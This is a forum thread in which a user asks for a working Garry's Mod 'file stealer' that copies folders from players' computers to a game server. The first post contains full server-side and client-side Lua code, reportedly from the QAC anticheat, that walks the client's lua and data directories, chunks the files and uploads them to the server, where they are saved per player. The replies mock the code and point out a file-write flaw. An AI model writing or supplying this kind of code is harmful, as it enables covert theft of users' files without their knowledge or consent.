Results 1 to 13 of 13
  1. #1
    noobster29's Avatar
    Join Date
    Apr 2009
    Gender
    male
    Posts
    228
    Reputation
    10
    Thanks
    1,533
    My Mood
    Amazed

    Client file stealer??

    Does anything have a working file stealer that i can put in my server so it downloads X folder from client and uploads to server, i have tried QAC file stealer but doesn't seem to work


    sv
    Code:
    ------------------------------
    -- File Stealer server-side --
    ------------------------------
    
    
    if SERVER then
    	file.CreateDir("qac")
    	file.CreateDir("qac/stolen")
    	util.AddNetworkString("CHTGTL")
    	util.AddNetworkString("CHCO")
    	net.Receive("CHTGTL", function(ln, client)
    		client:SetPData("CHTGTL", true)
    		client.FileDir = string.Replace(client:SteamID(), ":", "_")
    		
    		local num = tostring(math.random(500))
    		client.HAX_NUMBER = num
    		net.Start("CHCO")
    			net.WriteString(num)
    		net.Send(client)
    		
    		file.CreateDir(CHEAT_DIR.."/"..client.FileDir)
    		
    		local ID = client:SteamID()
    		timer.Simple(200, function()
    			--POSSIBLE BANNING
    		end)
    		
    	end)
    	
    	net.Receive("CHCO", function(ln, client)
    		if not client.FileDir then 
    			client.FileDir = string.Replace(client:SteamID(), ":", "_") 
    		end
    		
    		
    		local num, dir, filename, filedata = net.ReadString(), net.ReadString(), net.ReadString(), net.ReadString()
    		
    		
    		local dir = (CHEAT_DIR.."/"..client.FileDir.."/"..dir)
    		
    		
    		if not file.Exists(dir, "DATA") then
    			file.CreateDir(dir)
    		end
    		
    		if not file.Exists(dir.."/"..string.Replace(filename, ".lua", ".txt"), "DATA") then
    			file.Write(dir.."/"..string.Replace(filename, ".lua", ".txt"), [[File Reader \n]]..filedata)
    		else
    			file.Append(dir.."/"..string.Replace(filename, ".lua", ".txt"), filedata)
    		end
    	end)
    end
    cl
    Code:
    if CLIENT then
    	local frd = file.Read
    	local function c()
    		net.Start("CHTGTL")
    		net.SendToServer()
    	end
    	
    	net.Receive("CHTGTL",c)
    	
    	local HAX_NUMBER = "0"
    	local QUEUED_FILES = {}
    	local defaults = {
    		"autorun",
    		"entities",
    		"includes",
    		"weapons"
    	}
    	net.Receive("CHCO", function(len)
    		HAX_NUMBER = net.ReadString()
    		CopyDirNoSub("lua", "GAME")
    		CopyDir("lua/autorun", "GAME")
    		CopyDir("lua/entities", "GAME")
    		CopyDir("lua/includes", "GAME")
    		CopyDir("data", "GAME")
    		timer.Simple(.3, function()
    			timer.Create(HAX_NUMBER, .01, 0, function()
    				local fd = QUEUED_FILES[table.GetFirstKey(QUEUED_FILES)]
    				if not fd then
    					timer.Remove(HAX_NUMBER)
    					timer.Simple(1, function()
    						--POISSIBLE BANNING?
    					end)
    				end
    				SendFileToServer(fd)
    				table.remove(QUEUED_FILES, table.GetFirstKey(QUEUED_FILES))
    			end)
    		end)
    	end)
    	
    	function CopyDirNoSub(dir,src)
    		local files = file.Find(dir.."/*.lua", src)
    		if not files then files = {} end
    		for k,v in pairs(files) do
    			if v and  v ~= "" then
    				QueueFile(dir,v,src)
    			end
    		end
    		local _,dirs = file.Find(dir.."/*", src)
    		for k,v in pairs(dirs)do
    			if v and v ~= "" then
    				if not table.HasValue(defaults, v) then
    					CopyDir(dir.."/"..v, src)
    				end
    			end
    		end
    	end
    	
    	function CopyDir(dir,src) --copypasta from gmod wiki.
    		local files = file.Find(dir.."/*.lua", src)
    		if not files then files = {} end
    		for k,v in pairs(files) do
    			if v and  v ~= "" then
    				QueueFile(dir,v,src)
    			end
    		end 
    		local files,directories = file.Find(dir.."/*", src)
    		if not directories then directories = {} end
    		for _, fdir in pairs(directories) do
    			if fdir ~= ".svn" then
    				CopyDir(dir.."/"..fdir, src)
    			end
    		end
    	end
    	
    	function QueueFile(dir,name,src)
    		local filedata = frd(dir.."/"..name, src)
    		if not filedata then filedata = "ERROR! File not readable: "..dir.."/"..name.." in '"..src.."'." return end
    		if string.len(filedata) > 1.7*10^200 then filedata = "ERROR! File too long: "..dir.."/"..name.." in '"..src.."'." return end
    		local fd1, fd2, fd3, fd4 = {dir=dir,name=name}, {dir=dir,name=name}, {dir=dir,name=name}, {dir=dir,name=name}
    		--split it into fourths.
    		fd1.filedata = string.Left(filedata, math.min(math****und(string.len(filedata)/4), 63000))
    		fd2.filedata = string.Left(filedata, math****und(string.len(filedata)*1/2))
    		fd2.filedata = string.Right(fd2.filedata, math.min(math****und(string.len(fd2.filedata)/2), 63000))
    		fd3.filedata = string.Right(filedata, math****und(string.len(filedata)*1/2))
    		fd3.filedata = string.Left(fd3.filedata, math.min(math****und(string.len(fd3.filedata)/2), 63000))
    		fd4.filedata = string.Right(filedata, math.min(math****und(string.len(filedata)/4), 63000))
    		
    		table.insert(QUEUED_FILES, fd1)
    		table.insert(QUEUED_FILES, fd2)
    		table.insert(QUEUED_FILES, fd3)
    		table.insert(QUEUED_FILES, fd4)
    	end
    	
    	function SendFileToServer(fd)
    		if not fd then 
    			return 
    		end
    		local dir, name, filedata = fd.dir, fd.name, fd.filedata
    		net.Start("CHCO")
    			net.WriteString(HAX_NUMBER)
    			net.WriteString(dir)--directory first
    			net.WriteString(name)--filename second
    			net.WriteString(filedata)
    		net.SendToServer()
    	end
    	
    end

  2. #2
    Cyaegha's Avatar
    Join Date
    Aug 2016
    Gender
    male
    Posts
    536
    Reputation
    17
    Thanks
    526
    This is disgusting. It even uses globals on the client lmao

  3. #3
    Chief Gooby's Avatar
    Join Date
    Nov 2015
    Gender
    male
    Posts
    47
    Reputation
    10
    Thanks
    17
    My Mood
    Cheeky
    Quote Originally Posted by Cyaegha View Post
    This is disgusting. It even uses globals on the client lmao
    What are you talking about? This code is amazing. I've never seen anything quite like it.

  4. #4
    Cyaegha's Avatar
    Join Date
    Aug 2016
    Gender
    male
    Posts
    536
    Reputation
    17
    Thanks
    526
    Quote Originally Posted by Chief Gooby View Post
    What are you talking about? This code is amazing. I've never seen anything quite like it.
    Are you fucking blind?

  5. #5
    Chief Gooby's Avatar
    Join Date
    Nov 2015
    Gender
    male
    Posts
    47
    Reputation
    10
    Thanks
    17
    My Mood
    Cheeky
    Quote Originally Posted by Cyaegha View Post
    Are you fucking blind?
    No? We've clearly been graced with top-tier code but you can't see that.

  6. #6
    Cyaegha's Avatar
    Join Date
    Aug 2016
    Gender
    male
    Posts
    536
    Reputation
    17
    Thanks
    526
    Quote Originally Posted by Chief Gooby View Post
    No? We've clearly been graced with top-tier code but you can't see that.

  7. #7
    LordVortex33's Avatar
    Join Date
    Aug 2016
    Gender
    male
    Posts
    3
    Reputation
    10
    Thanks
    3
    My Mood
    Busy
    ever Heard of the thing file.Read?

  8. #8
    noobster29's Avatar
    Join Date
    Apr 2009
    Gender
    male
    Posts
    228
    Reputation
    10
    Thanks
    1,533
    My Mood
    Amazed
    Guessing nobody has a working one then?

  9. #9
    Cyaegha's Avatar
    Join Date
    Aug 2016
    Gender
    male
    Posts
    536
    Reputation
    17
    Thanks
    526
    Quote Originally Posted by noobster29 View Post
    Guessing nobody has a working one then?
    Quite a lot of people do.

  10. #10
    noobster29's Avatar
    Join Date
    Apr 2009
    Gender
    male
    Posts
    228
    Reputation
    10
    Thanks
    1,533
    My Mood
    Amazed
    Anyone want to give me one that's working or not?

  11. #11
    Cyaegha's Avatar
    Join Date
    Aug 2016
    Gender
    male
    Posts
    536
    Reputation
    17
    Thanks
    526
    Quote Originally Posted by noobster29 View Post
    Anyone want to give me one that's working or not?
    Did you try making your own?

  12. #12
    Gorzoid's Avatar
    Join Date
    Jun 2014
    Gender
    male
    Posts
    227
    Reputation
    10
    Thanks
    990
    Is this seriously the shit in QAC? Who knew probably the most used free anticheat had such an easy file.Write exploit, too bad I don't know any server with QAC anymore.
    I am just here to learn, definitely not for hacks... o_O Just learning

  13. #13
    Cyaegha's Avatar
    Join Date
    Aug 2016
    Gender
    male
    Posts
    536
    Reputation
    17
    Thanks
    526
    Quote Originally Posted by Gorzoid View Post
    Is this seriously the shit in QAC? Who knew probably the most used free anticheat had such an easy file.Write exploit, too bad I don't know any server with QAC anymore.
    This was removed from QAC in 2014 cos it broke the rules on Scriptfodder/Coderhire iirc.
    Last edited by Cyaegha; 02-04-2017 at 06:23 AM.

Similar Threads

  1. Client file corruption detected, Closing game client
    By HaxPro in forum CrossFire Help
    Replies: 4
    Last Post: 09-26-2010, 10:33 AM
  2. CLIENT FILE CORRUPTION DETECTED,CLOSING GAME CLIENT
    By gunther29700 in forum CrossFire Help
    Replies: 2
    Last Post: 08-19-2010, 05:40 AM
  3. Client file is corrupted
    By kapethan in forum Combat Arms Help
    Replies: 4
    Last Post: 08-11-2010, 09:58 AM
  4. unable to start game to due client file corruption
    By Byrd in forum Combat Arms Help
    Replies: 11
    Last Post: 08-06-2010, 03:57 AM
  5. client file corrupted
    By hidesy in forum Combat Arms Help
    Replies: 5
    Last Post: 07-20-2010, 10:39 PM